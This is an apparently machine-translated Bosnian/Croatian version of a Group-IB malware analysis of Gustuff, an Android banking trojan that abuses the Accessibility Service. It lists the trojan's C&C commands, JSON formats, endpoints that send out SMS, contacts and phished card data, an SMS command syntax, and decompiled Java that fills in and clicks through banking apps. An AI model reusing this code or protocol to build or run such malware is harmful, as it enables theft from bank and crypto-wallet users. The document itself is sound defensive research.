Kako Android Trojan Gustuff skida kremu (fiat i kripto) s vaših računa

Kako Android Trojan Gustuff skida kremu (fiat i kripto) s vaših računa

Baš pre neki dan Grupa-IB prijavljeno o aktivnosti mobilnog Android Trojan Gustuff. Djeluje isključivo na međunarodnim tržištima, napadajući klijente 100 najvećih stranih banaka, korisnike mobilnih 32 kripto novčanika, kao i velike resurse e-trgovine. Ali programer Gustuffa je kibernetski kriminalac koji govori ruski pod nadimkom Bestoffer. Donedavno je hvalio svoj Trojanac kao “ozbiljan proizvod za ljude sa znanjem i iskustvom”.

Specijalista za analizu zlonamjernog koda u Group-IB Ivan Pisarev u svom istraživanju, on detaljno govori o tome kako Gustuff funkcionira i koje su njegove opasnosti.

Koga Gustuff lovi?

Gustuff pripada novoj generaciji zlonamjernog softvera s potpuno automatiziranim funkcijama. Prema riječima programera, trojanac je postao nova i poboljšana verzija zlonamjernog softvera AndyBot, koji od novembra 2017. napada Android telefone i krade novac putem phishing web obrazaca maskirajući se u mobilne aplikacije poznatih međunarodnih banaka i platnih sistema. Bestoffer je izvijestio da je cijena najma Gustuff Bota bila 800 dolara mjesečno.

Analiza uzorka Gustuffa pokazala je da trojanac potencijalno cilja klijente koji koriste mobilne aplikacije najvećih banaka, kao što su Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, kao i kripto novčanike Bitcoin novčanik, BitPay, Cryptopay, Coinbase, itd.

Prvobitno kreiran kao klasični bankarski trojanac, u trenutnoj verziji Gustuff je značajno proširio listu potencijalnih meta za napad. Osim Android aplikacija za banke, fintech kompanije i kripto servise, Gustuff je namijenjen korisnicima marketplace aplikacija, online trgovina, sistema plaćanja i instant messengera. Konkretno, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut i drugi.

Ulazna tačka: proračun za masovnu infekciju

Gustuff karakterizira "klasični" vektor prodora u Android pametne telefone putem SMS poruka s linkovima na APK-ove. Kada je Android uređaj zaražen trojancem na komandu servera, Gustuff se može dalje širiti preko baze podataka kontakata zaraženog telefona ili preko baze podataka servera. Gustuffova funkcionalnost je dizajnirana za masovnu infekciju i maksimalnu kapitalizaciju poslovanja njegovih operatera - ima jedinstvenu funkciju „automatskog popunjavanja“ u legitimne aplikacije za mobilno bankarstvo i kripto novčanike, što vam omogućava da ubrzate i povećate krađu novca.

Studija o trojancu pokazala je da je u njemu implementirana funkcija automatskog popunjavanja pomoću usluge pristupačnosti, usluge za osobe s invaliditetom. Gustuff nije prvi trojanac koji je uspješno zaobišao zaštitu od interakcije s elementima prozora drugih aplikacija koje koriste ovu Android uslugu. Međutim, upotreba usluge pristupačnosti u kombinaciji sa auto-filerom je još uvijek prilično rijetka.

Nakon preuzimanja na telefon žrtve, Gustuff, koristeći uslugu pristupačnosti, može stupiti u interakciju s elementima prozora drugih aplikacija (bankarstvo, kriptovalute, kao i aplikacije za online kupovinu, razmjenu poruka, itd.), obavljajući radnje potrebne za napadače . Na primjer, na komandu servera, trojanac može pritisnuti dugmad i promijeniti vrijednosti tekstualnih polja u bankarskim aplikacijama. Korištenje mehanizma Accessibility Service omogućava Trojancu da zaobiđe sigurnosne mehanizme koje banke koriste za suzbijanje mobilnih trojanaca prethodne generacije, kao i promjene u sigurnosnoj politici koju je implementirao Google u novim verzijama Android OS-a. Tako Gustuff "zna kako" onemogućiti Google Protect zaštitu: prema autoru, ova funkcija radi u 70% slučajeva.

Kako Android Trojan Gustuff skida kremu (fiat i kripto) s vaših računa

Gustuff također može prikazati lažne PUSH obavijesti sa ikonama legitimnih mobilnih aplikacija. Korisnik klikne na PUSH obavještenje i vidi phishing prozor preuzet sa servera u koji unosi traženu bankovnu karticu ili podatke o kripto novčaniku. U drugom scenariju Gustuff, otvara se aplikacija u čije ime je prikazano PUSH obavještenje. U ovom slučaju, zlonamjerni softver, na naredbu sa servera preko usluge pristupačnosti, može popuniti polja obrasca bankarske aplikacije za lažnu transakciju.

Funkcionalnost Gustuffa također uključuje slanje informacija o zaraženom uređaju na server, mogućnost čitanja/slanja SMS poruka, slanje USSD zahtjeva, pokretanje SOCKS5 proxyja, praćenje veze, slanje datoteka (uključujući skenirane fotografije dokumenata, snimke ekrana, fotografije) na server, vratite uređaj na fabrička podešavanja.

Analiza zlonamjernog softvera

Prije instaliranja zlonamjerne aplikacije, Android OS pokazuje korisniku prozor koji sadrži listu prava koja je zatražio Gustuff:

Kako Android Trojan Gustuff skida kremu (fiat i kripto) s vaših računa
Instalacija aplikacije će se dogoditi tek nakon pribavljanja pristanka korisnika. Nakon pokretanja aplikacije, trojanac će korisniku pokazati prozor:

Kako Android Trojan Gustuff skida kremu (fiat i kripto) s vaših računa
Nakon toga će ukloniti svoju ikonu.

Gustuff pakuje, prema riječima autora, paker iz FTT-a. Nakon pokretanja, aplikacija periodično kontaktira CnC server kako bi primila komande. Nekoliko fajlova koje smo pregledali koristilo je IP adresu kao kontrolni server 88.99.171[.]105 (u daljem tekstu ćemo ga označavati kao <%CnC%>).

Nakon pokretanja, program počinje slati poruke na server http://<%CnC%>/api/v1/get.php.

Očekuje se da će odgovor biti JSON u sljedećem formatu:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Svaki put kada se pristupi aplikaciji, ona šalje informacije o zaraženom uređaju. Format poruke je prikazan ispod. Vrijedi napomenuti da su polja pun, Ekstra, aplikacije и dozvolu – opciono i biće poslato samo u slučaju naredbe zahtjeva od CnC-a.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Pohranjivanje podataka o konfiguraciji

Gustuff pohranjuje operativno važne informacije u datoteku preferencija. Ime datoteke, kao i nazivi parametara u njoj, rezultat su izračunavanja MD5 sume iz niza 15413090667214.6.1<%name%>gde <%name%> — početno ime-vrijednost. Python interpretacija funkcije generiranja imena:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

U nastavku ćemo je označavati kao nameGenerator(ulaz).
Dakle, naziv prvog fajla je: nameGenerator("API_SERVER_LIST"), sadrži vrijednosti sa sljedećim nazivima:

Ime varijable vrijednost
nameGenerator("API_SERVER_LIST") Sadrži listu CnC adresa u obliku niza.
nameGenerator("API_SERVER_URL") Sadrži CnC adresu.
nameGenerator("SMS_UPLOAD") Zastava je postavljena po defaultu. Ako je zastavica postavljena, šalje SMS poruke na CnC.
nameGenerator("SMS_ROOT_NUMBER") Broj telefona na koji će se slati SMS poruke koje prima zaraženi uređaj. Default je null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Zastavica je standardno obrisana. Ako je instaliran, kada zaraženi uređaj primi SMS, on će biti poslan na root broj.
nameGenerator("DEFAULT_APP_SMS") Zastavica je standardno obrisana. Ako je ova zastavica postavljena, aplikacija će obrađivati ​​dolazne SMS poruke.
nameGenerator("DEFAULT_ADMIN") Zastavica je standardno obrisana. Ako je zastavica postavljena, aplikacija ima administratorska prava.
nameGenerator("DEFAULT_ACCESSIBILITY") Zastavica je standardno obrisana. Ako je zastavica postavljena, servis koji koristi uslugu pristupačnosti je pokrenut.
nameGenerator("APPS_CONFIG") JSON objekat koji sadrži listu radnji koje se moraju izvesti kada se pokrene događaj pristupačnosti povezan sa određenom aplikacijom.
nameGenerator("APPS_INSTALLED") Čuva listu aplikacija instaliranih na uređaju.
nameGenerator("IS_FIST_RUN") Zastavica se resetuje pri prvom startovanju.
nameGenerator("UNIQUE_ID") Sadrži jedinstveni identifikator. Generiše se kada se bot prvi put pokrene.

Modul za obradu komandi sa servera

Aplikacija pohranjuje adrese CnC servera u obliku niza kodiranih pomoću Baza85 linije. Lista CnC servera se može promijeniti po prijemu odgovarajuće komande, u kom slučaju će adrese biti pohranjene u datoteku preferencija.

Kao odgovor na zahtjev, server šalje naredbu aplikaciji. Vrijedi napomenuti da su komande i parametri predstavljeni u JSON formatu. Aplikacija može obraditi sljedeće naredbe:

tim Opis
forwardStart Počnite slati SMS poruke koje je zaraženi uređaj primio na CnC server.
naprijedStop Zaustavite slanje SMS poruka koje je zaraženi uređaj primio na CnC server.
ussdRun Izvršite USSD zahtjev. Broj na koji trebate uputiti USSD zahtjev nalazi se u JSON polju “broj”.
sendSms Pošaljite jednu SMS poruku (ako je potrebno, poruka se „podijeli“ na dijelove). Kao parametar, komanda uzima JSON objekat koji sadrži polja "to" - odredišni broj i "body" - tijelo poruke.
sendSmsAb Šaljite SMS poruke (ako je potrebno, poruka se „podijeli“ na dijelove) svima na listi kontakata zaraženog uređaja. Interval između slanja poruka je 10 sekundi. Tijelo poruke je u JSON polju "body"
sendSmsMass Šaljite SMS poruke (ako je potrebno, poruka se „podijeli“ na dijelove) kontaktima navedenim u parametrima komande. Interval između slanja poruka je 10 sekundi. Kao parametar komanda uzima JSON niz (polje “sms”), čiji elementi sadrže polja “to” - odredišni broj i "body" - tijelo poruke.
changeServer Ova komanda može uzeti vrijednost sa ključem “url” kao parametrom - tada će bot promijeniti vrijednost nameGenerator(“SERVER_URL”), ili “array” – tada će bot upisati niz u nameGenerator (“API_SERVER_LIST”) Tako aplikacija mijenja adresu CnC servera.
adminNumber Naredba je dizajnirana za rad s korijenskim brojem. Naredba prihvata JSON objekat sa sljedećim parametrima: “number” — promijenite nameGenerator(“ROOT_NUMBER”) na primljenu vrijednost, “resend” — promijenite nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — pošaljite nameGenerator(“ROOT_NUMBER” ) jedinstveni ID.
updateInfo Pošaljite informacije o zaraženom uređaju na server.
wipeData Naredba je namijenjena za brisanje korisničkih podataka. Ovisno o tome pod kojim imenom je aplikacija pokrenuta, ili se podaci potpuno brišu ponovnim pokretanjem uređaja (primarni korisnik), ili se brišu samo podaci korisnika (sekundarni korisnik).
socksStart Pokrenite proxy modul. Rad modula je opisan u posebnom odjeljku.
socksStop Zaustavite proxy modul.
openLink Pratite link. Veza se nalazi u JSON parametru ispod "url" ključa. “android.intent.action.VIEW” se koristi za otvaranje veze.
uploadAllSms Pošaljite sve SMS poruke koje je uređaj primio na server.
uploadAllPhotos Pošaljite slike sa zaraženog uređaja na URL. URL dolazi kao parametar.
uploadFile Pošaljite datoteku na URL sa zaraženog uređaja. URL dolazi kao parametar.
uploadPhoneNumbers Pošaljite brojeve telefona sa liste kontakata na server. Ako se kao parametar primi vrijednost JSON objekta sa ključem “ab”, aplikacija prima listu kontakata iz telefonskog imenika. Ako se kao parametar primi JSON objekat sa ključem „sms“, aplikacija čita listu kontakata od pošiljaoca SMS poruka.
changeArchive Aplikacija preuzima datoteku sa adrese koja dolazi kao parametar pomoću ključa “url”. Preuzeta datoteka se čuva pod imenom “archive.zip”. Aplikacija će zatim raspakovati datoteku, opciono koristeći arhivsku lozinku “b5jXh37gxgHBrZhQ4j3D”. Raspakovani fajlovi se spremaju u [eksterna memorija]/hgps direktorijum. U ovom direktoriju, aplikacija pohranjuje web lažne (opisano u nastavku).
akcije Komanda je dizajnirana za rad sa Action Service-om, koji je opisan u posebnom odjeljku.
test Ne radeći ništa.
download Naredba je namijenjena preuzimanju datoteke sa udaljenog servera i spremanju je u direktorij “Preuzimanja”. URL i naziv datoteke dolaze kao parametar, polja u objektu JSON parametara, redom: “url” i “fileName”.
ukloniti Uklanja datoteku iz direktorija "Preuzimanja". Ime datoteke dolazi u JSON parametru s ključem “fileName”. Standardno ime datoteke je “tmp.apk”.
Obaveštenje Prikažite obavještenje s tekstovima opisa i naslova koje definira server za upravljanje.

Format komande Obaveštenje:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Obavijest koju generira datoteka pod istragom izgleda identično obavještenjima koja je generirala aplikacija navedena u polju aplikacija. Ako vrijednost polja openApp — Istina, kada se otvori obavijest, pokreće se aplikacija navedena u polju aplikacija. Ako vrijednost polja openApp — Netačno, onda:

  • Otvara se prozor za krađu identiteta čiji se sadržaj preuzima iz direktorija <%eksterna memorija%>/hgps/<%filename%>
  • Otvara se prozor za krađu identiteta čiji se sadržaj preuzima sa servera <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Otvara se prozor za krađu identiteta, prerušen u Google Play karticu, sa mogućnošću unosa podataka o kartici.

Aplikacija šalje rezultat bilo koje komande <%CnC%>set_state.php kao JSON objekat u sljedećem formatu:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Lista naredbi koje aplikacija obrađuje uključuje akcija. Kada se primi naredba, modul za obradu naredbi pristupa ovoj usluzi kako bi izvršio proširenu naredbu. Usluga prihvata JSON objekat kao parametar. Servis može izvršiti sljedeće naredbe:

1. PARAMS_ACTION — kada primi takvu naredbu, servis prvo prima od JSON parametra vrijednost tipskog ključa, koji može biti sljedeći:

  • serviceInfo – podnaredba dobiva vrijednost po ključu iz JSON parametra includeNotImportant. Ako je zastavica Tačna, aplikacija postavlja zastavicu FLAG_ISOLATED_PROCESS na uslugu koja koristi uslugu pristupačnosti. Na ovaj način će usluga biti pokrenuta u posebnom procesu.
  • korijen — primite i pošaljite serveru informacije o prozoru koji je trenutno u fokusu. Aplikacija dobija informacije koristeći klasu AccessibilityNodeInfo.
  • admin — zatražite administratorska prava.
  • odgađanje — suspendirajte ActionsService na broj milisekundi naveden u parametru za ključ „podaci“.
  • prozori — poslati listu prozora vidljivih korisniku.
  • instalirajte — instalirajte aplikaciju na zaraženi uređaj. Ime arhivskog paketa nalazi se u ključu “fileName”. Sama arhiva se nalazi u direktoriju Downloads.
  • globalni – podnaredba je namijenjena za navigaciju iz trenutnog prozora:
    • na meniju Brze postavke
    • unazad
    • Dom
    • na obavještenja
    • u prozor nedavno otvorenih aplikacija

  • lansiranje - pokrenite aplikaciju. Naziv aplikacije dolazi kao parametar po ključu podaci.
  • zvukova — promenite režim zvuka u tišinu.
  • otključavanje — uključuje pozadinsko osvjetljenje ekrana i tastature na punu svjetlinu. Aplikacija izvodi ovu radnju koristeći WakeLock, navodeći niz [Application lable]:INFO kao oznaku
  • permissionOverlay — funkcija nije implementirana (odgovor na izvršenje naredbe je {"message":"Not support"} ili {"message":"low sdk"})
  • gest — funkcija nije implementirana (odgovor na izvršenje naredbe je {"message":"Not support"}ili {"message":"Low API"})
  • dozvole — ova komanda je neophodna za traženje dozvola za aplikaciju. Međutim, funkcija upita nije implementirana, pa je komanda besmislena. Lista traženih prava dolazi kao JSON niz sa ključem "dozvole". Standardna lista:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • otvoreno — prikazati prozor za krađu identiteta. Ovisno o parametru koji dolazi sa servera, aplikacija može prikazati sljedeće phishing prozore:
    • Prikaži prozor za krađu identiteta čiji je sadržaj zapisan u datoteci u direktoriju <%eksterni direktorij%>/hgps/<%param_filename%>. Rezultat interakcije korisnika sa prozorom će biti poslan na <%CnC%>/records.php
    • Prikaži prozor za krađu identiteta čiji je sadržaj unaprijed učitan sa adrese <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Rezultat interakcije korisnika sa prozorom će biti poslan na <%CnC%>/records.php
    • Prikažite prozor za krađu identiteta prerušen u Google Play karticu.

  • interaktivan — naredba je dizajnirana za interakciju s elementima prozora drugih aplikacija koristeći AcessibilityService. U program interakcije implementirana je posebna usluga. Aplikacija koja se istražuje može komunicirati s Windowsima:
    • Trenutno aktivan. U ovom slučaju, parametar sadrži id ili tekst (ime) objekta s kojim trebate stupiti u interakciju.
    • Vidljivo korisniku u trenutku izvršavanja naredbe. Aplikacija bira prozore po ID-u.

    Nakon primitka predmeta AccessibilityNodeInfo Za elemente prozora od interesa, aplikacija, ovisno o parametrima, može izvršiti sljedeće radnje:

    • fokus — postavite fokus na objekat.
    • klik — kliknite na objekat.
    • actionId — izvršite akciju prema ID-u.
    • setText — promijenite tekst objekta. Promjena teksta je moguća na dva načina: izvršiti radnju ACTION_SET_TEXT (ako je Android verzija zaraženog uređaja mlađa ili jednaka LOLLIPOP), ili postavljanjem niza u međuspremnik i lijepljenjem u objekt (za starije verzije). Ova naredba se može koristiti za promjenu podataka u bankarskoj aplikaciji.

2. PARAMS_ACTIONS - isto kao PARAMS_ACTION, stiže samo JSON niz naredbi.

Čini se da će mnoge ljude zanimati kako izgleda funkcija interakcije s elementima prozora druge aplikacije. Ovako je ova funkcionalnost implementirana u Gustuffu:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Funkcija zamjene teksta:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Na taj način, uz ispravnu konfiguraciju kontrolnog servera, Gustuff je u mogućnosti da popuni tekstualna polja u bankarskoj aplikaciji i klikne na dugmad neophodne za završetak transakcije. Trojanac se čak i ne mora prijaviti u aplikaciju – dovoljno je poslati naredbu za prikaz PUSH obavijesti i zatim otvoriti prethodno instaliranu bankovnu aplikaciju. Korisnik će se autentifikovati, nakon čega će Gustuff moći napuniti automobil.

Modul za obradu SMS poruka

Aplikacija instalira obrađivač događaja za zaraženi uređaj za prihvatanje SMS poruka. Aplikacija koja se proučava može primati komande od operatera, koje dolaze u tijelu SMS poruke. Komande dolaze u formatu:

7!5=<%Base64 kodirana naredba%>

Aplikacija traži string u svim dolaznim SMS porukama 7!5=, kada je niz otkriven, on dekodira niz iz Base64 na pomaku 4 i izvršava naredbu. Komande su slične onima sa CnC. Rezultat izvršenja se šalje na isti broj sa kojeg je stigla komanda. Format odgovora:

7*5=<%Base64 kodiranje “result_code command”%>

Opciono, aplikacija može slati sve primljene poruke na Root broj. Da biste to učinili, korijenski broj mora biti naveden u datoteci preferencija i mora se postaviti oznaka za preusmjeravanje poruka. Na broj napadača se šalje SMS poruka u formatu:

<%Od broja%> - <%Vrijeme, format: dd/MM/gggg HH:mm:ss%> <%SMS tijelo%>

Takođe, opciono, aplikacija može slati poruke CnC-u. SMS poruka se šalje na server u JSON formatu:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Ako je zastava postavljena nameGenerator("DEFAULT_APP_SMS") – aplikacija zaustavlja obradu SMS poruke i briše listu dolaznih poruka.

Proxy modul

Aplikacija koja se proučava sadrži Backconnect Proxy modul (u daljem tekstu Proxy modul), koji ima posebnu klasu koja uključuje statička polja sa konfiguracijom. Podaci o konfiguraciji pohranjeni su u uzorku u jasnom obliku:

Kako Android Trojan Gustuff skida kremu (fiat i kripto) s vaših računa

Sve radnje koje obavlja Proxy modul se prijavljuju u datoteke. Da bi to učinila, aplikacija u vanjskoj memoriji kreira direktorij pod nazivom “logs” (polje ProxyConfigClass.logsDir u klasi konfiguracije), u kojem se pohranjuju datoteke evidencije. Evidentiranje se dešava u fajlovima sa imenima:

  1. main.txt – rad klase zvane CommandServer je prijavljen u ovu datoteku. U nastavku, evidentiranje stringa str u ovu datoteku će biti označeno kao mainLog(str).
  2. sesija-<%id%>.txt — ova datoteka čuva podatke dnevnika povezane sa određenom proxy sesijom. U nastavku, evidentiranje stringa str u ovu datoteku će biti označeno kao sessionLog (str).
  3. server.txt – ova datoteka se koristi za evidentiranje svih podataka upisanih u gore opisane datoteke.

Format podataka dnevnika:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Izuzeci koji se javljaju tokom rada Proxy modula također se evidentiraju u datoteci. Da bi to uradila, aplikacija generiše JSON objekat u sledećem formatu:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Zatim ga pretvara u string reprezentaciju i evidentira.

Proxy modul se pokreće nakon primanja odgovarajuće komande. Kada se primi naredba za pokretanje proxy modula, aplikacija pokreće uslugu koja se zove MainService, koji je odgovoran za upravljanje radom Proxy modula – pokretanje i zaustavljanje istog.

Faze pokretanja usluge:

1. Pokreće tajmer koji se pokreće jednom u minuti i provjerava aktivnost proxy modula. Ako modul nije aktivan, pokreće ga.
Također kada se događaj pokrene android.net.conn.CONNECTIVITY_CHANGE Proxy modul je pokrenut.

2. Aplikacija kreira wake-lock sa parametrom PARTIAL_WAKE_LOCK i hvata ga. Ovo sprječava da CPU uređaja pređe u stanje mirovanja.

3. Pokreće klasu obrade naredbi proxy modula, prvo evidentirajući liniju mainLog("pokreni server") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

gdje proxy_cnc, command_port i proxy_port – parametri dobijeni iz konfiguracije proxy servera.

Poziva se klasa obrade naredbi CommandConnection. Odmah nakon pokretanja, izvodi sljedeće radnje:

4. Povezuje se na ProxyConfigClass.host: ProxyConfigClass.commandPort i tamo šalje podatke o zaraženom uređaju u JSON formatu:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Gde:

  • id – identifikator, pokušava da dobije vrijednost sa poljem “id” iz datoteke Shared Preference pod nazivom “x”. Ako se ova vrijednost ne može dobiti, generiše se nova. Dakle, Proxy modul ima svoj identifikator, koji se generiše slično kao i Bot ID.
  • imei — IMEI uređaja. Ako je došlo do greške tokom procesa dobijanja vrednosti, umesto ovog polja biće ispisana tekstualna poruka o grešci.
  • imsi — Međunarodni identitet mobilnog pretplatnika uređaja. Ako je došlo do greške tokom procesa dobijanja vrednosti, umesto ovog polja biće ispisana tekstualna poruka o grešci.
  • model — Naziv krajnjeg proizvoda koji je vidljiv krajnjem korisniku.
  • proizvođač — Proizvođač proizvoda/hardvera (Build.MANUFACTURER).
  • androidVersion - niz u formatu "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • zemlja — trenutna lokacija uređaja.
  • partnerId je prazan niz.
  • packageName – naziv paketa.
  • networkType — vrsta trenutne mrežne veze (primjer: “WIFI”, “MOBILE”). U slučaju greške, vraća null.
  • imaGsmSupport – istina – ako telefon podržava GSM, inače netačno.
  • simReady – stanje SIM kartice.
  • simCountry - ISO kod zemlje (zasnovano na provajderu SIM kartice).
  • networkOperator — ime operatora. Ako je došlo do greške tokom procesa dobijanja vrednosti, umesto ovog polja biće ispisana tekstualna poruka o grešci.
  • simOperator — Ime dobavljača usluga (SPN). Ako je došlo do greške tokom procesa dobijanja vrednosti, umesto ovog polja biće ispisana tekstualna poruka o grešci.
  • verzija - ovo polje je pohranjeno u config klasi; za testirane verzije bota bilo je jednako "1.6".

5. Prebacuje u režim čekanja na komande sa servera. Komande sa servera dolaze u formatu:

  • 0 offset – komanda
  • 1 pomak – sessionId
  • 2 ofset – dužina
  • 4 ofset - podaci

Kada stigne komanda, aplikacija evidentira:
mainLog("Header { sessionId<%id%>], tip[<%command%>], dužina[<%length%>] }")

Moguće su sljedeće komande sa servera:

Ime naredba podaci Opis
connectionId 0 ID veze Kreirajte novu vezu
SPAVAJTE 3 vrijeme Pauzirajte proxy modul
STONI TENIS 4 - Pošalji PONG poruku

PONG poruka se sastoji od 4 bajta i izgleda ovako: 0x04000000.

Kada se primi naredba connectionId (za kreiranje nove veze) CommandConnection kreira instancu klase ProxyConnection.

  • Dvije klase učestvuju u proxyingu: ProxyConnection и Kraj. Prilikom kreiranja klase ProxyConnection povezivanje na adresu ProxyConfigClass.host: ProxyConfigClass.proxyPort i prosljeđivanje JSON objekta:

 {
    "id":<%connectionId%>
}

Kao odgovor, server šalje SOCKS5 poruku koja sadrži adresu udaljenog servera sa kojim se mora uspostaviti veza. Interakcija sa ovim serverom se odvija kroz klasu Kraj. Postavljanje veze može se shematski prikazati na sljedeći način:

Kako Android Trojan Gustuff skida kremu (fiat i kripto) s vaših računa

Mrežne interakcije

Kako bi se spriječila analiza prometa pomoću mrežnih njuškara, interakcija između CnC servera i aplikacije može se zaštititi korištenjem SSL protokola. Svi preneseni podaci sa servera i na server se prikazuju u JSON formatu. Aplikacija izvršava sljedeće zahtjeve tokom rada:

  • http://<%CnC%>/api/v1/set_state.php — rezultat izvršenja naredbe.
  • http://<%CnC%>/api/v1/get.php — primanje komande.
  • http://<%CnC%>/api/v1/load_sms.php — preuzimanje SMS poruka sa zaraženog uređaja.
  • http://<%CnC%>/api/v1/load_ab.php — otpremanje liste kontakata sa zaraženog uređaja.
  • http://<%CnC%>/api/v1/aevents.php – zahtjev se postavlja prilikom ažuriranja parametara koji se nalaze u datoteci preferencija.
  • http://<%CnC%>/api/v1/set_card.php — učitavanje podataka dobijenih korištenjem phishing prozora koji se maskira kao Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – učitavanje podataka dnevnika.
  • http://<%CnC%>/api/v1/records.php – učitavanje podataka dobijenih putem phishing prozora.
  • http://<%CnC%>/api/v1/set_error.php – obavještenje o grešci koja se dogodila.

preporuke

Kako bi zaštitile svoje klijente od prijetnji mobilnih trojanaca, kompanije moraju koristiti sveobuhvatna rješenja koja im omogućavaju praćenje i sprječavanje zlonamjernih aktivnosti bez instaliranja dodatnog softvera na korisničke uređaje.

Da bi se to postiglo, metode potpisa za otkrivanje mobilnih trojanaca moraju biti ojačane tehnologijama za analizu ponašanja kako klijenta tako i same aplikacije. Zaštita bi također trebala uključivati ​​funkciju identifikacije uređaja pomoću tehnologije digitalnih otisaka prstiju, koja će omogućiti razumijevanje kada se račun koristi s netipičnog uređaja i već je pao u ruke prevaranta.

